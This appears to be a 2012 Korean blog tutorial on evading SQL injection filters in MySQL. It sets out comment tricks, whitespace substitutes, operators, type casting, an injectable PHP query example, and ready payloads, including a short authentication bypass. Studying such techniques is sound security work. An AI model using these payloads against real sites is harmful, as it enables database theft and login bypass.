sql injection 필터우회의 모든것 -1

잡지식 2012.07.14 15:47



흠 저번에 쓰던 백과사전글도 마무리 해야하는데


우선 두서없이 필터링 우회 부분만 집중적으로 다뤄 보겠다.


우선 필터링에 대해선 크게 3가지로 나뉜다


1) MySQL syntax


- MySQL은 상당히 말랑말랑한 문법체계를 가지고 있다. 


무슨말인고 하니 SeLeCT와 같이 Keyword는 대소문자를 구분하지않고 select * from users와 같은 query도 공백을 필터링하는경우 %0a같은 delimiter를 쓸수 있고 또한 select(*)from(users); 와같이 공백이 필요한 부분에 ()를 감싸는것도 적법한 문장이다.


이러한 MySQL의 특성을 이용해 여러가지 필터링을 우회 할 수 있습니다.


2) Keyword Filter


- 인젝션을 가능케 하는 여러가지 키워드 (union, select, limit, having, like) 등등의 필터링은 인젝션을 얼핏 봐서는 불가능하게 만든다. 이런경우에 mysql내 다양한 내장함수들을 사용함으로써 대체 가능하다.


3) Function filter.


- 익히잘 알려진 substr(), ascii()와 같은 built-in function들이 필터당했을때 다소 알려지지 않은 함수들의 조합등으로 인젝션이 가능하다. 물론 인젝션의 목적 / 취약가능한 부위에 따라 달라 질 수 있다.





하나하나 씩 다뤄 보자


MySQL Syntax


- 주석

여러가지 방법이 존재 한다.

#, -- x (--다음에는 공백이 항상 따라와야 한다. 그후 아무문자 x 하나) , /**/ (Mysql 5.1 버젼 이하) , ;%00


예를들어 다음과 같은 인젝션이 가능하다

$name=$_GET['name']

select data from users where name='$name';


' or 1=1;%00



-연산자


다음과 같은 연산자 들이 있다. ^, =, !=, %, /, *, &, &&, |, ||, <, >, >>, <<, >=, <=, <>,<=>, XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN. 적절히 활용해 주자


' or 1 rlike 1


-공백


뭐 딱히 덧 붙일 설명이없다. %20 %09 %0a %0b %0c %0d  /**/ 또한 () 와 같이 (, )연달아 사용하면 하나의 공백으로 인식된다.


'or+(1)sounds/**/like“1“--%a0-



-문자열

MySQL은 위해서도 설명햇다 싶이 말랑말랑한 문법을 가지고 있기때문에 파일 데이터형간 비교가 자유롭다.

긴말은 생략하고 예를 살펴보자

' or “a“ = 'a      <- "a"와 'a'가 = 연산자에 의해 동일하게 취급된다. 하지만 == <- 연산자를 쓴다면 type까지 비교하므로 false



' or 'a' = 0b1100001 # binary

' or 'a' = 0x61


-상수들

 true, false, null, \N, current_timestamp,



-환경 변수들

 @@version, @@datadir, ...

mysql> show variables; // 272 rows in set (실제로 272개의 변수들이 존재한다 by default)



-내장 함수들:


정말 주옥같이 쓸수 잇는 함수들이다. query문 내부에서 실제로 mysql로 전달될때 함수에 의해 계산된 결과값이 리턴되면서 query가 완성된다. 이 내장 함수들을 빠삭하게 외우고 활용하는게 바로 sqli (sql injection)의 꽃


자주 쓰이는놈 몇가지, substr(), version(), pi(), pow(), char(), substring(), ...



-형변환 


C언어의 type cast와는 다르게 암묵적으로 형변환을 한다


' or 1 = true # true=1, false=0

' or 1 # true

' or version() = 5.1 # 5.1.36-community-log

' or round(pi(),1)+true+true = version() # 3.1+1+1 = 5.1



select * from users where 'a'='b'='c'

select * from users where ('a'='b')='c'

select * from users where (false)='c'

select * from users where (0)='c'

select * from users where (0)=0 

select * from users where true

select * from users


Shortest authentication bypass:           '=' 

select data from users where name = ''=''






저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

'잡지식' 카테고리의 다른 글

false injection  (0) 2012.07.17
근한달만이다.  (0) 2012.07.16
sql injection 필터우회의 모든것 -1  (0) 2012.07.14
Local/Remote File Inclusion 취약점.  (1) 2012.07.12
SQL injection 백과사전 / 필터링 우회하기 part1)  (1) 2012.07.10
sql injection DB명취약점  (0) 2012.07.08

설정

트랙백

댓글


티스토리 툴바